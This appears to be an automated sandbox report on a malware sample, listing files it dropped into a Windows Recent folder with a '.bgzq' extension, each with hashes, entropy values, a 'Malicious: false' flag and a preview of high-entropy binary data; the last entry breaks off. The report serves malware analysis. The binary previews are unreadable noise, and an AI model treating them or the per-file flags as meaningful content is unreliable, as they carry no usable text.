Preview:	JQADJ..N..[f...TM...k."".k..@..9...Q..+.q"..UNx..<..k..{..!....1R..f....FY7Y_g$N.....x.....w!.x:%.6..;..P....^PJ..b...~I_...&#Q....r.....}3..q...J..w7...a...9.).$}E........wp8.B......V.gT.R.....!3...5.}K....K..=.,..LP...g...l......Q^.pR..iL.. C:.nBnu.i.#..z..>Q..n4b...r].......xw...V......3....L......b9...#1.....r......c.......n...E.I....4Ru....>.%.....yK-..a......>..A....w..J.A....."..l:.m4b.{...}A.gr!L!s-`O/......>..C.`....c/../..N.....r.^O...(.....?"~.>..5..~.".>I.Sq.26..a.[..^0.J...:}@...C......,..r.i......f.4.....%..O.l.../.JP...k......]`....<....W...x}\\|......u.p)..!.h.'.[...a.X.'..m4Ju..]..N!^..}3.v.[.'.../..h.6..T..e\....C,..y.. .<.>W..../...L&.u.y. 6Ga...y.7.N~.p.5..%#..b.....A .Z..wB3a...............-...XZd....x#...+.so.j.7..........Q...gP.uh...A.f.I.4.]..\|.~....O.Z.,k.........{.V....p.rd.m\|X..Z...V.\|...........5...w2l....{.^.S....$...S@..h:A%...-...#M..2'Ng..B`\..$Re..7...4...!.o..Fn..]i.I`VP.N..........[.....g..3..66

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824791283918084
Encrypted:	false
SSDEEP:	24:Vq6FRocihsB7LkE+gq2+0Lgad12Th8Qf1KgQd5lSTdQEpasUAAb/mBRixC+3VbD:kko1+B/kV/rcS8QCd5Md01ARXixjFD
MD5:	2C2236A3DE619B107B9A82191B8461FD
SHA1:	937EC609A7F472B8272947C1D234B7BEC4482999
SHA-256:	9B83CB5B0F5920488A13FB3E91C74510E900100EEEE4D5A8A77229D317A45793
SHA-512:	37E18CEFF93E634F8F53257275EEF6449C48AB2E5A5A789AF458FAB5F874383D2F4B45508480F5FDE9017501CE2A671B4EFC0955F92FBE6B7D59FF17D747F78F
Malicious:	false
Preview:	KATAX1J.. H..Zk1..'1..L.......W.....+W.H.(z..j7..........[._.g._.b?6...r.Xn.r.R.....p........4L.Xe].L...mXG..{+....+..)..#..H.7.Y...S_.z...h.(.W...qO...oi....1I....V....).{.i....&.m.T\5.s..pXq.eI...Og.......OC....N.t....!..$.$.$.7..8.$X...5<{..?..d../..UK..w.J...`7.P..2GM..O'...im.#.%........'.e.....oR...5.D>.D...+..N6.6.....\|B.]U..8,... .4eLP..6.Rv..."...g...<..{....&..+.....Z..;.i@...`.l......Z....Pd.l...yV.[.......SXX.z..s.(d...Z...G<..~..0.r.e7.P..vh9gv..3.4^.9Lz.D.I.-R........e_..V...\=.#....(OB....t.j....<.LC.Eq....$.#.-k@..?\.e....[0...D.....$..o.n."9.i.Q6e.b.95.DL...Q...49.......g.&8v..p.a..zxB.G........X4........^..x.V..#....K.e.I..D..}.q.G.aE?".u[!...f..h...}....UO).&....#Y....I.!.sg.]m..y0....H..p...VO.....q.\|J...=.-Lc....{.a...g........6ET.....P...MS..:.0..n...(Hp.9n'.......#... ..p.f..,...+.I}.H...9..{.M.&.....5...$...'9.x.6o.\|.RP..2..e.61..4..E....7(Jp2ZP....{g\|...*......q..k....5..Q.=.2).q...uA..{.[...IHw3d).Gx.d=...6A

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8296152195837205
Encrypted:	false
SSDEEP:	24:RIM0HGF3UWcawojC0uKOFuhEjiFOdr8VUe8G9FHHcIMG8accVbD:aMs4BwV0uRoh0igFe88pJ7CcFD
MD5:	1A9707651C979674ED454F1B70DDD289
SHA1:	3B10DF5F9DF338D2C0F12FA397DB8849D1F568F9
SHA-256:	59C20B144D106C4013184AE4A51B6758AB70B3B120A001056221D7AA341DCE94
SHA-512:	E821144A80349A9AE7C77BC76DDD1C7BF26FF014EF978AFEA68AEDA8F3D18BAEA34CE0311E4F16BC3A6940E644C932753E5EEAA8C6F60D9817E860D95D7B4CC9
Malicious:	false
Preview:	KATAX...2.. ...3..8'..k.g.<;U<l.._..]...N+..G{N....6fq3.B.).B.4...Z.t[YAg..............;..m.@{.H.AgSG..oU...Y...rZ.fg.Q....H..c..R.....]I.51\|.8t.z....P..b..~...........E.g..(J$..$.1q.N]c...T.[J......Ab..9vW....Bf..i..gJ.....;k....0%..^;......tNo{D.;..1O...MM.UKV..........F.2d........W0.<.3.nfHL...\|.b....' .L%... ...r....t..'.V..rw...k_.@.../..I.)@.....h....S.E.B.p...i?h:`....v.j. ?.w......J..E8..o..m...c...G..;t.4..).1...-...`..11aN..".P..\.#....1k.5}...J...o.#B.....%;Q.H%$.2.%}.RBUkH7hw.W2..........L.0.#.I.D..Dav.j.[Q. .)p!hq.N7.ie.8.....X.../..L..l]e\..{.....Ld...{..8.....\|.....l.[].6...z".....uM!..,8}.\-Hq....zA?mcS.iG.xC.Q7..E..3GJg..._~..........5.H.....)...-.Q6j.jh....... ....E.\|..\|..f!t$D.....f....{2.f. .........y....gV...].W(.A~C.....T.....:.}.A.....^z.!J3.J..>.e.pT1.$t...........Y).............>CX2:..c.........#.cm....-?1......'..@.....iq.R......PBV..5...<.e0...l.....W..6._-..)T...4..$.y....".-.W...}{.[]^....i.."....-R]

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845673740438916
Encrypted:	false
SSDEEP:	24:wB6fU+GW1oxKp+zJdhL1SKgXMj0foVC+fOout8DbxDKDYhYgwphM6rBVbD:wB6VlMm+LhnGP9HoI60YhYgGhMKBFD
MD5:	98500DC7AE34284DC3FD961B6E3B7006
SHA1:	DF1696B322E34D3713DEB7D5ECED8499F09F549C
SHA-256:	5A4732453222E9969D3406ECDD02AD2D04EA6E09D98860625393D9893E26EE57
SHA-512:	A14370CD1D0F1D9DE8C6ED78CEB63A77714086A385BB7A793E4D562C3D9DABD157D896ADD4B081E29CF1B89CDA0EF4D835CB2D698BB337F0E0EB58BF4227D9E4
Malicious:	false
Preview:	KATAX.s.93\2or._..I..b.f..o.#L......0..rAc.HJ....".5..-V..uU......'.$...>...QcZ.......4C....Z.`..%U......x..b.3..cc..@...2.s....{.Uo.{I..Q.J.I.....+..k9.....gF_.w.Hz.D.v...i3N.Bi...'.k.?.........!..LVF....\|.%..%UA.....L.z.AVo.=..b..?.)......X..=..?&..\|.M....p.)..._..s[.;.....^N.&.x%............5.Rqg...}..^..h._.......)...K....4....ot.B..nqm...W....2.:...sH.../e?....\.nmR1..........z..LH$........[...Y..No.{.O.A..+&.d....Q.b....\|3..O._...LQ.((...5B.].j...wd....iJ,...gW\B.W..i..;.\|n..V.o.<...m.0J.gZ.....P.pMW.+a.q^.........f.V@.$S.%.C.}{...q[k..T.....D....T...S%..R>...y.na......q...h.{..?,S..D......}u9~[...5._.L.a..LVE\|f..7..36Q.q.$.B..'L.L..KcE.c./....H....#..l4....)..W3..;.....S.m............pk.C.....#...R..n.".A[s.3...\...=.-....m..../.V...K.....n.pq...sz.DF..?O..vy..5.../..<(-.c_DP.Eq...^D.S...1}.:F.m.R...&fe..E..........Df>.>...\..g...f.A....^.8_.....u..m&...K....w._(..^..3..:..."~..U]......{y........8F...A...Z.w..F#....&r;.)

C:\Users\user\Application Data\Microsoft\Windows\Recent\LHEPQPGEWF.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860587677259407
Encrypted:	false
SSDEEP:	24:9E1LPX+KqPzYadbUemHgk+7Pd/pcqCJ11PBb8/bNke2H7k3VM4VbD:9ERPX+KqPzYadhmHgJ7kqCJ11iCe4I59
MD5:	E2781CFA4DAB30C2A78A34A9B059347A
SHA1:	03C1B9A133B7E5AEB42612EFAB79023B495159ED
SHA-256:	74A91787D33284B4E03427F1EB86A5BC2168EB31A198489B7A8D0BA98FA57FCB
SHA-512:	7A85F71B447936833CC9D31A42BD2184340D042DAA69559575F3F22C321DEE409062BE559FA07A150BDA465894201EC9C08C18A53784D19547928DDEF0C3A073
Malicious:	false
Preview:	LHEPQ...B..2.7.Sn2_J..7J.$.4V.{\|6....).~..f....r...6X%..o..I...7..Y.^!...\.....1..............w5...jFQ%.L.].M.]D..$.e$....8....\...c...e.n....{..d.H_.4...Z>..s..V[..s`........:.lI3q.r.;c..)...P.._O..f.Y..U....u.6%..iA{...W.....2<D.v.m...!....^.c.....w.&rQ.;sO>.s.....E.e..Yn.....w..]./e.M..B...j...]..L.&.G.s...vKJV..{....y....T6.7.R..u.S7.C#.9......k.....:.f^,......LqgQ..)A.6.../x.}.b.i_#U....e....g..[...z...........p.A.n.1$... (..-....4.....@.....b.8..y..7.:...o.'......oI+9.3....'.3j[.;.....O.{....9...s........}...W.`.j!..14..zOE'.7Dvkf.z.K.9.B..;b...Y..6....g?.....G.tY&....EFB....G7..?........Lsy@.\j...c....s.....\|.Z.E.\|..Cx..f.......}....7GiP"[j&....s.....!.........6.&...5]\|7T.a.....8.;...T^:&........tu....Z=.....f.P'.1..R........,o.....F....Valh.r..R.h.P...q.....f..2A:....KK....I......_.....n..3..R....5.w....s.^-v.I.R$..4/...1...R.p0.O..f.i........qV,7.A.$.Y...m....c#F+o.....1.1U.........v&.......(Nn..-;F..*......W.. .

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866988319897164
Encrypted:	false
SSDEEP:	24:I7r0uBr/VVHGMkWxudImCGcuPHMOKdXPu2CGBeJgYgyfdphvdq/f5q6cCrVbD:UdBTVVHGMk6iFck4XxYlgyf7iZqyrFD
MD5:	497EAA2D735F283F79CBE69D86A4A5B3
SHA1:	984FC06C107F435F8C04F362C219EE68518E6885
SHA-256:	C1E2F2B47D3ABE54A81FAE57DE6EAFD18F29C2701A5EDB8E72B75F067219F9BF
SHA-512:	E3952365ED38497759311E56B4561EA65300B439AACFF95C4CDDB7F14DFC692811F73600EF1BE9BE7F7C53D3E2CC81A20755499FC9A7C7B8FA21A3286AA2EE4D
Malicious:	false
Preview:	LTKMY.!U..]..W5.e........Dzy...i.8..Jl4.S3...$..T..@.Y..5..9..c<....L./@.d~..V0..s...Y^..>.<IC......-.".xs..K..{J..:.....t.`.Q..C.=.D.r.La..9....-.XR.J.X.};].~.~..B.<.....8Q.i..OL'..W.3..3j.. ......@.YQ...P.7.....^...WF.H.U..+.!..tu%...N.....O,hpp3..A...../).w..e5..2.......j....n......jT<.....f@.Z....8:..lfK\Q.&..X.EcI..f.Fa.y.........U..3....G..h..._C..n.......d...EM......%Y.Z.lr.j..KA..Q..R.......}.U...y....{#u..H2...<.3...[..X...).;.r.3.........`.1....P..xG,s/.5.\.....@........Y.A..x"..(.X .Th..b..j.(..Ol>.t.......^...N...._UM.........s....Iq...+....w.#...^./._"E........Q.-..xH.\|.GA.+i.G...m....d1...:..o..e.........9.&.[..4.....QV.j....y.].'..-...K..j.'.&._...o..U..M.{+(O..a...V..K...'.q..g\.^......).bs..w.I.?rY=.{...S..b..A...9)A`z..AN......;]}n+.p.O.odi..."....D..=......8..q...}.g......#N.0.F* .i.#!.....C......f.k..$.B..^?...+NQC...7..x...cv._...y...Fyt.s...#G"z..~..d..s(..g...ku..z.n...._.X..Z..........{HI$>86tC....

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844498496935424
Encrypted:	false
SSDEEP:	24:R/yaktOTdvy0DWvbeDtPpkLG/bi5Y3HYVYbj+9D/QQ4YOtAl5NlVbD:tyaNBvlKvbeDtPpkLG/25Y30sj+jQQnl
MD5:	698F068A41F1E7045F488D6741687BAB
SHA1:	19177ACDA2B34EC6646BE9AD28CDADFF45A30D69
SHA-256:	2930AF64F8F9CEC4DEA56D026D489FD3722DCBD10117D2E194547232A8309BA4
SHA-512:	1FE316C4E12C9E53C9DED4FBC293AAC72EEE6DCE927689C6A1FC283A366024F74627014AD8894297C062984034A71AD46A768B4E81EC16A59760D6E806A1171C
Malicious:	false
Preview:	LTKMY.N.v'..7L...i.....Eb....^.......s..i.....3[._".#5y....(...x.8......Ir".,..PS".~......%:u..}....!"..u!.P.4...+QFmv8x ...p.e_\z.....L.o.j.t6....N...A...CE.M..{.....UE...s.;.^..m.I...:\|.. B.x.3...........4oM..J.m.-..J.#.c.Gk@y..iZ..G~..Bg........rm.y.h:..t..w.W6..D`]...f....>,p..".1.?.W.G..{.mW..[5Q+.v..}V.....mqk..)a....+{...M.c..QVJ..7.....,...V.eiE...(...Y.............M.......~B.vK...gN+.u...I..ru.@....#......0.mb5X..X..&....u..8.mC<......In^.3..N.U...F...p....?;+H.v..\|D.....'.?Y.8......+...........V.D....f....~.......o..=...K..R .....c.a.f..n.g....fC[~.>.Egb..^j.....m...R.Tl...'i......g@..'9....O..q'..\.f.....X.0)....C....\|..~.u]...?WN].mx../K..!u.g.M.....O.f?...I.....M...8..yJvI.......Ww,w.R....S..>.-...vE4.7..[e.'..0.3....6.o..;....`.B..:....u%..e.....m8...]....^.....u.x&.r.3.>..o-g;....9t......V.._.i.`....C.2.m...A..rmy...2-..3@.......9....4h.....tw...v%.B...b..?...y.....?..o.U.z..p.f. ..../.o..j.7...tL..D6..;6..U....T..Z...f.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870182913072682
Encrypted:	false
SSDEEP:	24:Y1MuDN/XNHPiwKVblqk8gk4PtSeKIGPpgQEeoQQWZumDRmRUqg3iVbD:Q11PhKVb58gk4PtSeK9pgQnoQQyDRPJy
MD5:	BF7AE73E3709D9E43351E7F670984A24
SHA1:	4087EFF67DDD91B8E6393CAF14CFC899BAD85EBE
SHA-256:	7C47E423AB69AB3D923CE6584FA92F8BD5078264CB365759821E81D438324356
SHA-512:	D62E9981C8A53D08AFC5C941110188FB00D8B3DB82919861B94E747979B706BD3DEC82DC619DC846CE49BBF111417966A8E6A2D9BD2E7517C1F56BE2F7AED427
Malicious:	false
Preview:	NWTVC.....v2K`&....ygtT\|.N.......;)......z....+...B....F.`,AS/r....q...C.....'.....uwm.L.....k.m.M.rx.y.1..4^t@LY........oE0.....Ql}..(o..p..2..?.6+ ../...u..j.,F..-e77.A...&A.=...M..C..StG..O....Yn.M..'.QJ%.......0l.8.9..}.[:;\I..MD....e..c"..H.o......BC.G?.....6~"...&.C.4..[T.....PR5.X.......,B......E.H..8\.p.q.........v.y....}..)g.K.."...XP..,....yj.5.\|...k5...oKSE.A.........im.(..=...(Kv..9.}Y.}.+.._.Z./..h..a.V...B...2.c..2...:0e..z.8.[e.E0..Q.5#`a..:\|6l..9......8I...w...9...Ry ... A+.......`...T^E...+.Y..8X..E......!...g...{#..D..Q...A.....U...D.@..#.T. .q...i.1.Sr...Fs.\.q..%v.,.%.1.....;z.........u..._o6.RM.JZ.f .k..e.....b.s.~.el).#.=..J.-P.v.h.}.e.q...q...w...uzQq.fzo.^......B.yt..e.!.g.M.C..6.l.......ab..n!.m....C4.&._........Ip..XC..\|...q)F.p@..1.d...^.F6..XF......U..f.8\...g..iO.Y.P.[j..~..q.FF..)......in}.u.*.!d..(E...^$..H..'...../.;3(...sB....Q.{.\.......neJ.L#..4...<7.........<.N.'...5...wc..=I?.>.c..\|...._,g.@YL8F..=

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8347670692178
Encrypted:	false
SSDEEP:	24:nqKppJxSO9kk3lOgLrLuMp8X0eNTUk5MuSOEBQrMsQ7lkVqkLs/O9uXwBtWevJxj:z1FDb8UkVwsPwO9htWoFD
MD5:	F7CF71941E1136404CEB8E3AAB43BAAF
SHA1:	397CC846CD284BF0B6E4221589B67792390D8226
SHA-256:	87A189A79171D9AD7088AD2E6512DAEFD053AF43155B94B0C137E08B4C3AD893
SHA-512:	7B61A82149C95148D600B47C5C38D8EF0C90088152B2E64AEE0F8AC991D727EEBA6C60DAA7BE8B8787A12D0EB52E7D6257155042127C509CB0743A35108134AE
Malicious:	false
Preview:	ONBQC...'.....T_..].#.[Ik..=.`Q...k......j.y},T..85.......%......%....[....5.z.N.....S.i...... w.\..mr..[.......3..".5... .\.]..^%.Vn.5U..o...b.1... .o..p9a..)...]5.c...AV.G..o.Un....3..!).f.n/.....1.[t.?%.F[<..M.%>.OV.@.C.1.n.$..[..".o.. ....N.iz.G.(.I"S0..w..~...D:..n..}.....Z.....(..o....BLn.J.(.4iW_.G'%.....e'.x.....W.y..r.p.7...K<....7.s."...s..\.3>U{g.`...zY...^5.'..)}c..BI=.oCv:.8....h.s`t'~..C.......A..fM..p....9F3..x..i........f.......(.K"'.1.....S.........\%.N......ww...%.oNb..tAI......d.@..?.9#V..^.b....@...d$.6.:.[(..P5.a.5t.j?}X.......Cv-.Z]~....g./...R..0CE.......Z.H.@...].SX.f.P..x9....F.....(.t.U:qiz..Q...:!.._...6.(p...o..=].+. ....3...O.Q.....\2.9.(W}..hc\.'.q.g8bKl..v.....Q.y.?.fo.5lS.aF....B.?..,.fL@..:........;"F....\|...]..m.oA.p...#.N.J;i....`..=..dV.X.......d.W. ......,D..~W24...)?.j~/.I.w.g.$..W..&~./.Y..44.......'/.4.4.a../..D.:......<7(..n].W..*.....(. ...g....".@....:_....o:s[.8..T..,.4...F;.\...EET,9.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857729990407864
Encrypted:	false
SSDEEP:	24:i57yxynu9XEc8IjR9Hakd7JC6Cbe4KJFSwmYkEyMsLMQ4U8pmKWeaLH45/D9qVbD:fYu9Xr8IN9HlNYKJFgswN4hiLY5pqFD
MD5:	0EF83449F42B55D72EB2AD9466F7D596
SHA1:	8404F1271E1ADA89E047AF3D7E9D21AF9C5E525A
SHA-256:	4A21F13F877465A4B63F80ED4BFFF821FCF7CAF2A40FFCDBF60F2EE47CD28BC1
SHA-512:	F055DC824296AE61C3EA983DDB0D1BE5A4B307CF9F96A52952B3D270B5A8B49A5DF511744F5F6646CDC46FAE5E15E5AAD5848D5B2A5F66F394DC31F4C474C043
Malicious:	false
Preview:	ONBQC^..\|...%......k.:...4a........Ij..5r.....,..9k.Kf9.+..=..>.#g.A..,Y{...S.=t.bE..Y..eI"XV%a...,...sO.......P.<....V.L].....<.P..r.n...jvi. #......7D..u....J/.]c..NI.f.........ng.Z.o...,..q!X.W..../..BD.{k-..^.8.>....../).g....I]n.Q.cF#.].WL.W.P...j..=./#A`..\..>..=b...]G.}V...m..._J...o.S..:...~3.Z.u7d.......{`.w..A..3...F....u."..._A...E..TR.^\|J.L)%.#..J.k..h..L.{.x....`m.A.....k.)nKW.o~.._.....6p........m..j`q.....O.uW.,.....b.x.,.!t..7..X.]Dd.!..Fo.2..O.x.z.d........8.}..F[...\N.u.3Am..^.....k.C...g..\I<..u..W2C.....)[.K}..p.dL....D.....GJ!..U.K...'.Z5../.1^c.z....E.c.,.<5K.Z.6I...'.f..8.H..H/}...c.m.f....v.%\.w.+.=e.gK2.fd.1./.+.g@Jv..........)."...I....\........p.r.M..O[$..\|....)g.he:.yl.u.UU...O%...!1b,....X.k.LoR...ymIw...3;o..=`'T.).OF,.qod..i..D.yB......$C%...)....9F..c.......&.%..Sv...#.......F.r..c..........Y?...i....H..z.7........n...@..w*4..P....Uh.....K.y.v..(..e.&:......h9.x/n.......O.\kO).%.a\..?..w...4..~{W.\|.Q.wto....

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827711156094462
Encrypted:	false
SSDEEP:	24:2qeMakLQesn3UEy23OhfbVZgb3IFqHJ2WIrRxK8SdVzJiAEPbexnflKUo2IVbD:TBdsn3UEy230xuDfYbvIzQPb/LTFD
MD5:	AF69FBB4A6B131D85F7EB905470A8717
SHA1:	AC79D76569BB2854324FD2891FDC8EFFF2999D61
SHA-256:	DC363FBA6DFEA0DD1EB88DF04D0F8E1E31E7684C0BCC067185CBC5B2172C3E91
SHA-512:	4EB05EAEA30B6647CEAAD670DB939AC44C3FCBD84FE9B76795DD781C8D576D22E2EC8C99C08CFF3DBE57D15FA176867788BF2B154D07F7BE37384B343E2B15FD
Malicious:	false
Preview:	PALRG.....A.....6.a...aI..w5......~...w.-.>.....d.X..D.u..s.QR<.wC~Md.b?~..=ji....7h.._@.6r-E.g..."...,5..P..~Z.W/..0.f)........R.lrW^U...VU.n.......#.....7..Xy.w.q..D.r....3.62P....E.XF..>...6@.dE2....1.'.._....?..h.L.mi..f.0.(...7...u..YG..M..Z....k@...u,..$..u7Ya.op.b..97..a..>8....yS...4..@.}...5=.PFt..1.j..'iT.6M...(u.&....[6d..j...8.9"Z..aS=....\|.b@.....R..3?}....=........J=..5.hIL.X..V...7'\.v"..2..]C[d..ZY.q5......J.6w.sV.m&I..(..42..5....RB.7.R.{a..#~T.Xca.G.7.,:.A.h...&0.;...{.Mh{..~.....&Hb..g....P..m.)..s...Pr....)...."..@...!.2K.%.%...0{.FM.p&.)..<Y%vG....a.sl..G./......t1.@^.......q.L.h.Q.{../{._h.M.K..y.Q..A.My.]..Q#y.."3b.....I.\<.......*...R............t3o.V.U....7..C~.d._G.. XB2n...m......#.?.j...'.....`I.?.y......a....... Y..rv.O....m~.5.;F07.?.`.r.."\.b..h.....+......v.S..3... ....5.Y.p.\|.....w.'1..(..q.ym.sa.HX7....E.....m...K.H..K..Y,....l.........e&Q..\.xP.T...v.7.ef4^..{...hj....-s...a....Q.b..jjB\...a.Ja..;.1

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849102970187635
Encrypted:	false
SSDEEP:	24:Gcbr/X2zozW6rPXSZALVkzcStqWvalyw5L7iNCOmR5PVbD:jbrfiodwAL5cqywt7inmR1FD
MD5:	A712E5700C1E405BAF02B9EEE42C648E
SHA1:	E666D39CC38B38346B486A857602A2ADF8CBDE4C
SHA-256:	7F85497296904E6999EA62E01DBAC226A9FA8C2418A90EE1C18946048D48B13A
SHA-512:	C8BD2ED0ADA94EDEBCE97970694F7C8BB252EDB72D86DE325EBD1B29BC40ED4153D7E1EF3B01EA85C23F0A0CB9AD887A0B8EA6CA4FF3DF0057137F9DA2A255F3
Malicious:	false
Preview:	RAYHIR....\..@..c....~...l.....C.."P...oy.!..n.J.0....].R.O......A..R>...!."...!...s"Q...V....=...I9..$...S..N\|..0.S......H[!8do...(.-QUC^....8S.x.....s..,.[#.<.x......Q...o..oM.{.s....u...@}L..f.y/..E.=.p..\|.....,.r'..L....V.F.GC.k.\|.i..\|D..}.S.s..j).G#._[...$s3UL.KT.....7..n{/g$\.s\|... L...o..x.Q}.`.X.I....d...Z...!Z..w...5p..j.}.s+.P...7Co.......u....L.n....N...............j..=.lGY...X]@{6.`H+.......Z.{9..{s.]`.<...-...g%/....W.....^l5..lG..b....9.fI..td.yd~...4..S[2..(....?...x.t.<.].......=W....,N......=q..?o.q.!.~....3.."...h{.jx....i..>..Tv...#..8Z.M...f:..,..Um.6.L.....$..x.m+..?..P.....%..%eb......\n.rg....j.k@.K.&..2Mi...rkNi.C.F..i..a7.+].O.qr.H..V&Vf...#3..s}=.....H.M.J.....x1.h`.(...v...........1~.+..9.........a.\|..Ar......t9LL.b..i..^.~E6w.....r..\|.'D....@...a....]!^.Zu0..2=..;.&.5M.D.0..R....%...Q"..I.k.\.=0..Z{1Y!G4.9....Wu....+......".v.Gj.9...b^..n!'..^/...$I.46n?.s....c...0....Q...SBq.I!...I&.K..G....O...9...".K

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854389270251009
Encrypted:	false
SSDEEP:	24:7hexMgBUD7DZRLQ5Nw7Gj8YRCelWsQK2zmdZdHJKYbYPIPRzevQn2F0RnYZKjf1E:7oxXUD/e6RYc2WsFdjHoY0waQnfRYZKu
MD5:	7C8DB1F24E98FF31E5763510839C18B6
SHA1:	BE42D54B77D4414D5CFA10AB3678EF40429964C6
SHA-256:	EC16F7F796A2A6363DF3E31EF7F9CB151839F774CDBCAE06503A9901B9F2D88C
SHA-512:	CCFC70644F78BE8C668C6D38AD981F3FBC2A49EDBE84C731A6A90FBE6E3EE6E48B4334BA4579ED6C0AF891A75F59CF08111CD7EB5EA15FC2C14A7B4ED2EB55FC
Malicious:	false
Preview:	RAYHI.....(lK.F=.A?w.....=%.;Ov.......#.w.F.J.V..C..~..e.>{z......6.).i....xU..3..p.....:...M.......X[@...iJYS.....m.B..h.......:...j.........g.M..............+j....EF.B..-.j..K..8.......e=...^.n..m.b.`.}.@.......+&L.~s..Q..R......p....of...P..Oa..^(.H.$A..(.fY.{(..[6.......n*t......49.u.i%.2.i....#m......g.G(DQ..d..b......Wd......aARJ.{.'..uo4....... ..&...D.r5o~..........`.x]..\..Z....<(...../.[.....C...U...j.Tfn^.+.c.y..9i.C.....3.<.U-.....$..?..U."w....H......P...o.eE.p4.o...1....%.I....C i.+..u..y.V..._]\|..FG.+elP.X..?.ip:..Cm..ZE..w;n\......fTz~EMz+e".+dSS.w........\..%o<......S....D...v...?.......Mi...].3..O.>x.c:<...D.Y#E....g...ou_,...f.ww....4<.+.N}....#_k..S....x..D.B.=.G$...E..8...E.``..@.Wq2N.E8VZ..I...H...YL5............\l...t.....7....;......J`...DZ..u.....5..zzF....Y.....O..'h.p?.q{.nvg.,G2........R.iZ....."...x....ETb.....2]....(.6Kl.....!_M.s.\.....z_....YEc.......bM...K..C...K]...Z.$..&,sm...^.CF......eQQ.

C:\Users\user\Application Data\Microsoft\Windows\Recent\RAYHIWGKDI.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.824991682593165
Encrypted:	false
SSDEEP:	24:VnDB2OAd6YgCJ3iaZuJQ9W7jqXD3MBs5xVOvfSsU0QHUkxuO30n5MANVbD:5DQVUkyaZ0QIqXbMBs5xPsdQF3EMUFD
MD5:	E12C3E1D15F5B000205642CD141F0C83
SHA1:	C604F0C02A79C03F9333193525B148FA2DAF33EB
SHA-256:	A02FF9048FD79E3FF87B1D67D735F8CF640FCAA2C60F80B9359EEC7F20BBF3D2
SHA-512:	76B61A4580E82F0AA20726FA60035DA61A3EE907D0FE33F8A27FA81DD497442B1CD94DB4BE93575B04672FEC58F1EDC65D3B3384DB0BFEE0482E3F5A55CA7F98
Malicious:	false
Preview:	RAYHI.0xU.g..GO.7v.%7.h.m..i..5.m..uQ..0u........z">..4B..(y.T...wYZ.<.?..`.7..EVO>.&9..}..2/<..U..{.....o..B..J...3.1m.....:.?....A....gf.][^......\\../FO.`.f^..P..uH... t.%......c........{8.......@.Z6..,..P:..!uM..lc....%%....L.....t.0E>....z....A!.5T...qb....}g+9...../c..@...d<.......sq..s.kd9\|...n..X..l.b.F..ju.=..jc..,..T..2x[.2.@(.h...M.~....m..A.....h.....yz.....Vi..%H..cY(/h....H.;.Z9..{.....Sy.K].:(k....Fh..!C.....FE4.!...1M7o.<...k(...=....`...[c-7].w.9......y.;%...\|.O..s..V.Da..A....k)..m/...+..A%4./...!..u.tP.>."8=..D..."-T.o.lN.a.b..fQ.U"...&.E?.K.~B8!.s.2./G...s...l.............E1}G.:..l..KP...WAh....F:.....6%.e.....)p.\| ..x....y....@..6.8.8`.....j..p.W.gN..M..('J.W.9....Q......R.%.j.b.4e..oM1).....u.tR.......F7......5.I...nA.._P...3.x. 9.9.5.....$.t.;B.$...h.}0`=.69E.\...........s..7[SF.J..9.x@.Y..pS........N........qe.....du......&..b...R.. 3.[.9....Q...>kxm].xn.1.x.X.G.][...N...;..y...&.]^..~3....w..+....{...

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85982665403248
Encrypted:	false
SSDEEP:	24:8RITLcdwd1wvyv4xjFcARxO+szSWQNGw3H2+nW8cPNGuuhTiNnBVbD:YIPcd2KvdxhcARxO+uSgc3W8c1Gu6ir9
